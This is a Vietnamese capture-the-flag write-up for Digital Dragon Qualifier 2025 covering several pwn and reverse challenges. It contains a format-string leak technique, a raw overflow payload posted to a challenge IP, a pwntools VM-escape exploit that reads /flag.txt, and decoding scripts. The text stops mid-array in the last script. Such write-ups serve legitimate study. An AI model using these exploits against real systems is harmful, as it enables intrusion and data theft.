# Digital Dragon Qualifier CTF 2025
## Pwnable
### DDC Snake Game
- Challenge này là 1 web game rắn, trong đó trọng tâm sẽ là phần thành tựu:
```javascript!
app.get('/logs', (req, res) => {
const snake = gameController.getSnakeBySocketId(req.query.socket_id);
if (!snake) {
res.status(404).json({ error: 'Snake not found' });
return;
}
if (snake.isAlive) {
res.status(400).json({ error: 'Snake is still alive' });
return;
}
else if (snake.score < 100) {
res.status(400).json({ error: 'Snake score is less than 100' });
return;
}
else{
const client = new Socket();
let responseData = '';
let responseTimeout;
client.connect(PORT_LOG, IP_LOG, () => {
const message = `${req.query.socket_id}|${snake.score}|${snake.eatenCharacters.join('')}`;
client.write(message);
});
client.on('data', (data) => {
responseData += data.toString();
if (responseTimeout) {
clearTimeout(responseTimeout);
}
responseTimeout = setTimeout(() => {
try {
console.log('Full response:', responseData);
const achievements = parseAchievementsFromCProgram(responseData);
res.json({ achievements });
} catch (error) {
console.error('Error parsing achievements:', error);
res.status(500).json({ error: 'Error processing achievements' });
}
client.destroy();
}, 100);
});
client.on('end', () => {
if (responseTimeout) {
clearTimeout(responseTimeout);
try {
console.log('Connection ended, full response:', responseData);
const achievements = parseAchievementsFromCProgram(responseData);
res.json({ achievements });
} catch (error) {
console.error('Error parsing achievements:', error);
res.status(500).json({ error: 'Error processing achievements' });
}
}
});
client.on('error', (error) => {
console.error('Socket error:', error);
if (!res.headersSent) {
res.status(500).json({ error: 'Connection error' });
}
});
setTimeout(() => {
if (!res.headersSent) {
client.destroy();
res.status(500).json({ error: 'Request timeout' });
}
}, 5000);
}
});
```
- Khi kết thúc 1 mạng chơi rắn, web sẽ gửi message đến remote của file binary `snake_achiement` để lấy thành tựu với format: `${req.query.socket_id}|${snake.score}|${snake.eatenCharacters.join('')}`
- Trong đó file binary `snake_achievement` sẽ có trọng tâm là khi đạt được thành tựu `CBJS Master` thì hàm `read_flag` sẽ được gọi

- Tuy nhiên, hàm `read_flag` chỉ đọc flag vào `v20` trong stack chứ không in ra

- Do đó mình cần đến bug format string khi `v18 != 0` thì sẽ `printf(s)`, mà s thì sẽ được `strncat` chuỗi khi chuỗi có chứa `cbjs` được đếm từ hàm `count_cbjs`

- Sau khi confirm được format string thì mình bắt đầu tìm format có thể leak được 8 byte 1 lần vì các chữ cái truyền vào sẽ bị in hoa. Mình tìm được trong giải format `%LX` sẽ leak ra 8 byte 1 lần, tuy nhiên lại không đi kèm được với format `$` nên mình đã chơi rắn để lấy được chuỗi gồm 19 `%X` và 10 lần `%LX` liên tiếp, theo sau bởi 5 chuỗi CBJS để leak flag



Flag: `DDC{y388gap1zdrkebwnv08k7ob3poh}`
### The Secret of Punchcard
Solve script:
```python!
# send_raw_minimal.py
import requests, json
REMOTE = "http://103.142.24.239:5000/"
# REMOTE = "http://localhost:5000"
URL = REMOTE + "/create_punch_card"
# Your exact bytes
bdata = (b'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00B"@\x00\x00\x00\x00\x00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEC2')
def build_body_minimal(bts: bytes) -> bytes:
esc = bts.replace(b'\\', b'\\\\').replace(b'"', b'\\"')
return b'{"text":"' + esc + b'","card_type":"IBM SYSTEM 360"}'
def build_body_strict(bts: bytes) -> bytes:
payload = {"text": bts.decode("latin-1"), "card_type": "IBM SYSTEM 360"}
return json.dumps(payload, ensure_ascii=True).encode("ascii")
headers = {
"Content-Type": "application/json",
"Accept": "*/*",
"User-Agent": "python-requests/raw-minimal/1.0",
"Origin": REMOTE,
"Referer": REMOTE + "/",
}
while(True):
body = build_body_minimal(bdata)
r = requests.post(URL, data=body, headers=headers, timeout=20)
if r.status_code >= 400:
body = build_body_strict(bdata)
r = requests.post(URL, data=body, headers=headers, timeout=20)
print("Status:", r.status_code)
print("Body len:", len(r.content))
if b'flag' in r.content or b'DDC' in r.content:
print(r.content)
break
```
Flag: Mình quên lưu flag challenge này và instance đã down lúc viết writeup nên không lấy lại flag được
### GameShieldVM v2
Solve script:
```python!
from pwn import *
import sys
import os
#Cre: vilex1337
_path = ["./vm_host", "./game.bin"]
context.binary = exe = ELF(_path[0], checksec=False)
addr = 'localhost'
port = 8080
cmd = f'''
set solib-search-path {os.getcwd()}
decompiler connect ida --host localhost --port 3662
continue
'''
context.terminal = ['wt.exe', 'wsl', '-e', 'bash', '-c']
def conn():
if args.LOCAL:
if args.GDB:
p = gdb.debug(_path, cmd)
else:
p = process(_path)
elif args.REMOTE:
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p
MAGIC_KEY = 0xe1e1e1e1e1e1e1e1
def p(_data, _arch = 64, endian = 'little', magic=True):
if magic:
_data ^= MAGIC_KEY
switcher = {
64: p64(_data & 0xffffffffffffffff, endian),
32: p32(_data & 0xffffffff, endian),
16: p16(_data & 0xffff, endian),
8: p8(_data & 0xff, endian)
}
return switcher[_arch]
global chall
def sl(_data):
chall.sendline(_data)
def sla(rgx, _data):
chall.sendlineafter(rgx, _data)
def se(_data):
chall.send(_data)
def sa(rgx, _data):
chall.sendafter(rgx, _data)
def check():
chall.interactive()
exit()
OP1 = 0x01
OP2 = 0x02
OP3 = 0x03
OP4 = 0x04
OP5 = 0x05
OP6 = 0x06
OP7 = 0x07
OP8 = 0x08
OP9 = 0x09
OP10 = 0x0a
OP11 = 0x0b
OP12 = 0x0c
OP13 = 0x0d
OP14 = 0x0e
PLAYGAME = 0x0f
G0 = 0x00
G1 = 0x01
G2 = 0x02
G3 = 0x03
G4 = 0x04
G5 = 0x05
G6 = 0x06
G7 = 0x07
G8 = 0x08
R0 = 0x00
R1 = 0x01
R2 = 0x02
R3 = 0x03
R4 = 0x04
R5 = 0x05
R6 = 0x06
R7 = 0x07
FILENAME = "game.bin"
def mov_regis_val(regis, value):
return p(OP1, 8) + p(regis, 8) + p(value, 32)
def mov_regis_stackoffset(regis, offset):
return p(OP2, 8) + p(regis, 8) + p(offset, 16)
def mov_stackoffset_regis(offset, regis):
return p(OP3, 8) + p(offset, 16) + p(regis, 8)
def add_regis_regis(dest, src):
return p(OP4, 8) + p(dest, 8) + p(src, 8)
def sub_regis_regis(dest, src):
return p(OP5, 8) + p(dest, 8) + p(src, 8)
def mul_regis_regis(dest, src):
return p(OP6, 8) + p(dest, 8) + p(src, 8)
def cmp(regis1, regis2):
return p(OP7, 8) + p(regis1, 8) + p(regis2, 8)
def je(offset):
return p(OP8, 8) + p(offset, 8)
def jne(offset):
return p(OP9, 8) + p(offset, 8)
def jmp(offset):
return p(OP10, 8) + p(offset, 8)
def call_offset(offset):
return p(OP11, 8) + p(offset, 8)
def ret_ins():
return p(OP12, 8)
def push_regis(regis):
return p(OP13, 8) + p(regis, 8)
def pop_regis(regis):
return p(OP14, 8) + p(regis, 8)
def play_game(mode_play):
return p(PLAYGAME, 8) + p(mode_play, 8)
def read_byte(bytecode, i):
return (bytecode[i] ^ MAGIC_KEY) & 0xff
def read_2_byte(bytecode, i):
return int.from_bytes(bytecode[i:i+2], 'little') ^ (MAGIC_KEY & 0xffff)
def read_4_byte(bytecode, i):
return int.from_bytes(bytecode[i:i+4], 'little') ^ (MAGIC_KEY & 0xffffffff)
def resolve(bytecode):
i = 0
while i != len(bytecode):
opcode = read_byte(bytecode, i)
print(opcode)
if opcode == OP1:
regis = read_byte(bytecode, i+1)
value = read_4_byte(bytecode, i+2)
print(f"mov R{regis}, {hex(value)}")
i += 6
elif opcode == OP2:
regis = read_byte(bytecode, i+1)
offset = read_2_byte(bytecode, i+2)
print(f"mov R{regis}, [RBP + {hex(offset)}]")
i += 4
elif opcode == OP3:
offset = read_2_byte(bytecode, i+1)
regis = read_byte(bytecode, i+3)
print(f"mov [RBP + {hex(offset)}], R{regis}")
i += 4
elif opcode == OP4:
dest = read_byte(bytecode, i+1)
src = read_byte(bytecode, i+2)
print(f"add R{dest}, R{src}")
i += 3
elif opcode == OP5:
dest = read_byte(bytecode, i+1)
src = read_byte(bytecode, i+2)
print(f"sub R{dest}, R{src}")
i += 3
elif opcode == OP6:
dest = read_byte(bytecode, i+1)
src = read_byte(bytecode, i+2)
print(f"mul R{dest}, R{src}")
i += 3
elif opcode == OP7:
regis1 = read_byte(bytecode, i+1)
regis2 = read_byte(bytecode, i+2)
print(f"cmp R{regis1}, R{regis2}")
i += 3
elif opcode == OP8:
offset = read_byte(bytecode, i+1)
print(f"je {hex(offset)}")
i += 2
elif opcode == OP9:
offset = read_byte(bytecode, i+1)
print(f"jne {hex(offset)}")
i += 2
elif opcode == OP10:
offset = read_byte(bytecode, i+1)
print(f"jmp {hex(offset)}")
i += 2
elif opcode == OP11:
offset = read_byte(bytecode, i+1)
print(f"call {hex(offset)}")
i += 2
elif opcode == OP12:
print(f"ret")
i += 1
elif opcode == OP13:
regis = read_byte(bytecode, i+1)
print(f"push R{regis}")
i += 2
elif opcode == OP14:
regis = read_byte(bytecode, i+1)
print(f"pop R{regis}")
i += 2
elif opcode == PLAYGAME:
mode_play = read_byte(bytecode, i+1)
print(f"play_game {mode_play}")
i += 2
def mov_pits(pits, direct):
sla(b'> ', str(pits).encode())
sla(b'>> ', str(direct).encode())
def main():
global chall
win = 0x403394
tmp_rbp = 0x40b800
magic = b'\xca\xfe\x83\x86'
bytecode = mov_regis_val(R0, 0x502 - 12) + play_game(G2)
bytecode += (mov_regis_val(R0, 0x200) + play_game(G2) + play_game(G0)) * 12
bytecode += mov_regis_val(R0, 0x501 - 12) + play_game(G2)
bytecode += mov_regis_val(R0, win)
bytecode += push_regis(R0)
bytecode += mov_regis_val(R0, 0)
bytecode += push_regis(R0)
bytecode += mov_regis_val(R0, tmp_rbp)
bytecode += push_regis(R0)
bytecode += mov_regis_val(R0, int.from_bytes(b'/fla', 'little'))
bytecode += mov_regis_val(R1, int.from_bytes(b'g.tx', 'little'))
bytecode += mov_regis_val(R2, int.from_bytes(b't\x00\x00\x00', 'little'))
data_section = b''
payload = magic + p(len(bytecode), 16, magic=False) + p(len(data_section), 16, magic=False)
payload += bytecode
payload += data_section
with open(FILENAME, "wb") as f:
f.write(payload)
chall = conn()
if not args.LOCAL:
sla(b'Format: CAFE8386<code_size><data_size><encrypted_code><data>', payload.hex().encode())
mov_pits(1, 1)
mov_pits(2, 1)
mov_pits(4, 1)
mov_pits(2, 1)
mov_pits(3, 1)
mov_pits(5, 1)
mov_pits(4, 1)
mov_pits(3, 1)
mov_pits(2, 1)
mov_pits(1, 1)
mov_pits(2, 1)
mov_pits(3, 1)
check()
if __name__ == "__main__":
main()
```
Flag: `DDC{Escape_Gu3st_T0_H05t}`
## Reverse
### gameshieldvm-v1
- Bài này mình có 2 file, 1 file là binary (Virtual machine) và 1 file là data (bytecode).
Lúc đầu mình chạy thì không thấy gì cả cảm giác khá lạ. Mình thử chạy remote thì thấy hiện ra như này:

- Rõ ràng mình download file về rồi chạy bình thường nhưng lại k giống remote? Đọc code kĩ mình thấy code đoạn nó load key:

- Có vẻ như là file đó chưa tồn tại, mình thử tạo và bỏ 1 byte random vào chạy lại kết quả vẫn k khác gì. Với việc chương trình đọc đúng 1 byte từ /home/ctf/key để process thì ta hoàn toàn có thể bruteforce ra được byte đó. Quá trình brute force sẽ được diễn ra như sau: random 1 byte ghi vào /home/ctf/key và chạy lại binary như bthg tới khi nào được output như remote thì nhận byte hiện tại brutefoce.
- Sau khi bruteforce thì byte đúng là 0xE1.
- Đến đây mình quyết định reverse từ từ thì thấy như sau:
- Chương trình có 2 phần switch case tạm gọi là VM1 và VM2. VM1 có vẻ như là gồm các lệnh liên quan tới stack và register. Chương trình chưa đụng gì tới file data cả. Nhưng trong số các case đó có 1 case đặc biệt hơn cả:

- Case này chính là case dẫn tới VM2 (tạm gọi là game_menu).
- Tóm lại VM1 sẽ gồm các option với các chức năng như sau:
case 1u: mov register, val
case 2u: mov register, [stack + offset]
case 3u: mov [stack + offset], register
case 4u: add regis1, regis2
case 5u: sub regis1, regis2
case 6u: mul regis1, regis2
case 7u: cmp regis1, regis2
case 8u: je
case 9u: jne
case 0xAu: jmp offset
case 0xBu: call offset
case 0xCu: ret
case 0xDu: push regis
case 0xEu: pop regis
case 0xFu: Game menu
- Với VM2 (game_menu):
case 0: Check win condition
case 1: Computer moves
case 2: Copy board state to stack
case 3: Check win condition and end game
case 4: Load Stack Data to Registers
case 5: Display Board
case 6: Cheat Mode Toggle
case 7: Load turn counter into register
case 8: execve
- Script disassembler:
```python!
from pwn import *
MAGIC_KEY = 0xe1e1e1e1e1e1e1e1
def p(_data, _arch = 64, endian = 'little', magic=True):
if magic:
_data ^= MAGIC_KEY
switcher = {
64: p64(_data & 0xffffffffffffffff, endian),
32: p32(_data & 0xffffffff, endian),
16: p16(_data & 0xffff, endian),
8: p8(_data & 0xff, endian)
}
return switcher[_arch]
OP1 = 0x01
OP2 = 0x02
OP3 = 0x03
OP4 = 0x04
OP5 = 0x05
OP6 = 0x06
OP7 = 0x07
OP8 = 0x08
OP9 = 0x09
OP10 = 0x0a
OP11 = 0x0b
OP12 = 0x0c
OP13 = 0x0d
OP14 = 0x0e
PLAYGAME = 0x0f
G0 = 0x00
G1 = 0x01
G2 = 0x02
G3 = 0x03
G4 = 0x04
G5 = 0x05
G6 = 0x06
G7 = 0x07
G8 = 0x08
R0 = 0x00
R1 = 0x01
R2 = 0x02
R3 = 0x03
R4 = 0x04
R5 = 0x05
R6 = 0x06
R7 = 0x07
FILENAME = "game.bin"
def read_byte(bytecode, i):
return (bytecode[i] ^ MAGIC_KEY) & 0xff
def read_2_byte(bytecode, i):
return int.from_bytes(bytecode[i:i+2], 'little') ^ (MAGIC_KEY & 0xffff)
def read_4_byte(bytecode, i):
return int.from_bytes(bytecode[i:i+4], 'little') ^ (MAGIC_KEY & 0xffffffff)
def resolve(bytecode):
i = 0
while i != len(bytecode):
opcode = read_byte(bytecode, i)
if opcode == OP1:
regis = read_byte(bytecode, i+1)
value = read_4_byte(bytecode, i+2)
print(f"6: mov R{regis}, {hex(value)}")
i += 6
elif opcode == OP2:
regis = read_byte(bytecode, i+1)
offset = read_2_byte(bytecode, i+2)
print(f"4: mov R{regis}, [RBP + {hex(offset)}]")
i += 4
elif opcode == OP3:
offset = read_2_byte(bytecode, i+1)
regis = read_byte(bytecode, i+3)
print(f"4: mov [RBP + {hex(offset)}], R{regis}")
i += 4
elif opcode == OP4:
dest = read_byte(bytecode, i+1)
src = read_byte(bytecode, i+2)
print(f"3: add R{dest}, R{src}")
i += 3
elif opcode == OP5:
dest = read_byte(bytecode, i+1)
src = read_byte(bytecode, i+2)
print(f"3: sub R{dest}, R{src}")
i += 3
elif opcode == OP6:
dest = read_byte(bytecode, i+1)
src = read_byte(bytecode, i+2)
print(f"3: mul R{dest}, R{src}")
i += 3
elif opcode == OP7:
regis1 = read_byte(bytecode, i+1)
regis2 = read_byte(bytecode, i+2)
print(f"3: cmp R{regis1}, R{regis2}")
i += 3
elif opcode == OP8:
offset = read_byte(bytecode, i+1)
print(f"2: je {hex(offset)}")
i += 2
elif opcode == OP9:
offset = read_byte(bytecode, i+1)
print(f"2: jne {hex(offset)}")
i += 2
elif opcode == OP10:
offset = read_byte(bytecode, i+1)
print(f"2: jmp {hex(offset)}")
i += 2
elif opcode == OP11:
offset = read_byte(bytecode, i+1)
print(f"2: call {hex(offset)}")
i += 2
elif opcode == OP12:
print(f"1: ret")
i += 1
elif opcode == OP13:
regis = read_byte(bytecode, i+1)
print(f"2: push R{regis}")
i += 2
elif opcode == OP14:
regis = read_byte(bytecode, i+1)
print(f"2: pop R{regis}")
i += 2
elif opcode == PLAYGAME:
mode_play = read_byte(bytecode, i+1)
print(f"2: game_menu {mode_play}")
i += 2
def main():
with open(FILENAME, "rb") as f:
f.read(4)
len_bytecode = f.read(2)
len_data = f.read(2)
bytecode = f.read(int.from_bytes(len_bytecode, 'little'))
data = f.read(int.from_bytes(len_data, 'little'))
resolve(bytecode)
if __name__ == "__main__":
main()
```
- Ta được flow như sau:
```assembly
6: mov R0, 0x100
2: game_menu 2
2: game_menu 0
2: game_menu 4
6: mov R4, 0x0
3: add R4, R0
3: add R4, R1
3: add R4, R2
3: add R4, R3
6: mov R5, 0x1
3: mul R5, R0
3: mul R5, R1
3: mul R5, R2
3: mul R5, R3
6: mov R6, 0xe
3: cmp R4, R6
2: jne 0x9
6: mov R6, 0x3f
3: cmp R5, R6
2: jne 0x2
2: game_menu 6
6: mov R0, 0x100
2: game_menu 2
2: game_menu 1
6: mov R0, 0x100
2: game_menu 2
2: game_menu 7
6: mov R1, 0x15
3: cmp R0, R1
2: jne 0x8
6: mov R0, 0x0
2: game_menu 3
2: jmp 0x97
6: mov R0, 0x0
2: game_menu 3
```
-> Tóm tắt qua về luật chơi: user sẽ chơi với machine 1 game gọi là oware. Luật khá giống ô ăn quan (do chưa chơi oware nên mình cũng k chắc). user sẽ có các pits từ 1 tới 5 và pits 0 là pits được coi là tính điểm dựa vào số seeds trong đó. Machine sẽ có các pits từ 7 tới 11 và pits 6 sẽ là pits được tính điểm của nó. Game end khi cả 2 pit 0 và pit 6 đều empty hoặc 1 trong 2 player không có seed nào ở player's side và số seeds ở pit đặc biệt của player này < 5.
- Nếu để win thì khá dễ. Vì machine không chơi tối ưu do nó có hàm random riêng để chọn đường đi. Nên không khó để hiển thị "You win!". Vấn đề nằm ở chỗ ta buộc phải unlock được Cheat mode để read được flag:

- Ở case 4 của VM2: 4 giá trị được đưa vào cho REG[0 -> 3]: sau khi debug thì 4 giá trị này là 4 ô gần nhất user chọn để đi (format chọn đi là x,y x là ô hợp lệ của player y là direction).
2 phương trình cần giải để win là: SUM(REG[0],REG[1],REG[2],REG[3]) = 0xE
và
MUL(REG[0],REG[1],REG[2],REG[3]) = 0x3f (63)
mà 63 = 3 * 3 * 7
=> 4 số đó bắt buộc phải là 1,3,3,7
- Điều oái ăm là user valid option lại không có 7 ?!?
- Mình stuck gần 2 tiếng ở khúc này. Khúc sau mình confirm được số 0x3f đó có xuất hiện trong bytecode và có xảy ra cái phép so sánh đó luôn. Điều này dẫn tới chắc chắn số 7 phải được load vào trong Register rồi.

- Đoạn này là mấu chốt: cho dù mình input sai thì nó vẫn lưu vào history move rồi sau đó mới check -> in ra invalid. Đến đây chỉ cần spam 7 0 3 0 3 0 1 0 rồi spam tiếp đến khi nào win thì dừng thôi :))

### SMILES
- Đề cho 1 file binary, khi chạy thì đầu tiên chương trình bắt mình giải 5 câu hóa trắc nghiệm :)).

- Vì không sống lỗi nên mình random lần đầu đúng tận 4 câu trong lần đầu tiên :)) Câu cuối cũng chỉ có 3 option nên việc qua được 5 câu trắc nhiệm khá đơn giản (a-b-b-c-d)

- Hoàn thành 5 câu thì tới đây chương trình bắt nhập password, có vẻ đây mới chính là chall thực sự vì mình thấy 5 câu đầu k hề random ít nhất là output trên screen mình thấy.

- Mở ida thì thấy target khá rõ ràng, đập vào mắt mình là hàm so sánh giữa encode(input,a1) với 1 string đc hard-coded.

- Phía trên là hàm encode_message(). Không khó để thấy mỗi lần lặp chương trình sẽ bỏ thêm 1 delimeter vào cuối chuỗi: chr(46) = '.' . Hơn nữa target của chúng ta lại có rất nhiều dấu chấm. Điều này hint mạnh rằng target cho mỗi kí tự được ngăn cách bởi dấu '.'.
- Việc lấy các thông tin cần thiết như mảng v9 hay bất kì data nào cũng có thể thực hiện bằng cách đặt breakpoint ngay tại lúc chương trình strcat(dest,src). 1 điều khác khiến bài này có thể có cách thứ 2: bruteforce là vì chương trình process mỗi thứ tự 1 lần, cách 1 thì dễ hơn reverse lại đúng nghĩa đen. Trong giải cách nào nhanh, gọn, lẹ thì cứ triển :)).
- Final script:
:::spoiler Code
``` python
import string
v9 =[
0x7B, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 0x61, 0x00,
0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,
0x29, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x42, 0x00,
0x00, 0x00, 0x49, 0x00, 0x00, 0x00, 0x4B, 0x00, 0x00, 0x00,
0x5E, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0x00, 0x58, 0x00,
0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x78, 0x00, 0x00, 0x00, 0x3F, 0x00, 0x00, 0x00, 0x69, 0x00,
0x00, 0x00, 0x4E, 0x00, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00,
0x31, 0x00, 0x00, 0x00, 0x7D, 0x00, 0x00, 0x00, 0x3B, 0x00,
0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x73, 0x00, 0x00, 0x00,
0x66, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x53, 0x00,
0x00, 0x00, 0x45, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x7C, 0x00, 0x00, 0x00, 0x5F, 0x00, 0x00, 0x00, 0x1A, 0x00,
0x00, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x46, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 0x43, 0x00,
0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00,
0x1C, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0x71, 0x00,
0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x6D, 0x00, 0x00, 0x00,
0x52, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x4A, 0x00,
0x00, 0x00, 0x4D, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00,
0x5B, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00, 0x00, 0x37, 0x00,
0x00, 0x00, 0x47, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00,
0x18, 0x00, 0x00, 0x00, 0x39, 0x00, 0x00, 0x00, 0x0D, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00,
0x1F, 0x00, 0x00, 0x00, 0x7F, 0x00, 0x00, 0x00, 0x57, 0x00,
0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x3D, 0x00, 0x00, 0x00,
0x48, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0C, 0x00,
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00,
0x68, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x08, 0x00,
0x00, 0x00, 0x3A, 0x00, 0x00, 0x00, 0x67, 0x00, 0x00, 0x00,
0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x2F, 0x00,
0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00,
0x0E, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x5D, 0x00,
0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x6C, 0x00, 0x00, 0x00,
0x1B, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x1E, 0x00,
0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x00, 0x00,
0x2A, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x6E, 0x00, 0x00, 0x00,
0x26, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x30, 0x00,
0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00,
0x56, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00, 0x1D, 0x00,
0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00,
0x6F, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x5A, 0x00,
0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00,
0x2B, 0x00, 0x00, 0x00, 0x2D, 0x00, 0x00, 0x00, 0x6B, 0x00,
0x00, 0x00, 0x75, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00,
0x23, 0x00, 0x00, 0x00, 0x4C, 0x00, 0x00, 0x00, 0x3E, 0x00,
0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x7A, 0x00, 0x00, 0x00,
0x15, 0x00, 0x00, 0x00, 0x76, 0x00, 0x00, 0x00, 0x54, 0x00,
0x00, 0x00, 0x7E, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00,
0x6A, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x32, 0x00,
0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x1D, 0x00, 0x00, 0x00,
0x4E, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x00, 0x00, 0x5B, 0x00,
0x00, 0x00, 0x4B, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00,
0x58, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x4C, 0x00,
0x00, 0x00, 0x7C, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x00, 0x00,
0x43, 0x00, 0x00, 0x00, 0x39, 0x00, 0x00, 0x00, 0x50, 0x00,
0x00, 0x00, 0x3A, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00,
0x63, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x72, 0x00,
0x00, 0x00, 0x2B, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00,
0x76, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x37, 0x00,
0x00, 0x00, 0x51, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,
0x55, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x66, 0x00,
0x00, 0x00, 0x57, 0x00, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x56, 0x00, 0x00, 0x00, 0x45, 0x00,
0x00, 0x00, 0x73, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00,
0x62, 0x00, 0x00, 0x00, 0x5F, 0x00, 0x00, 0x00, 0x60, 0x00,
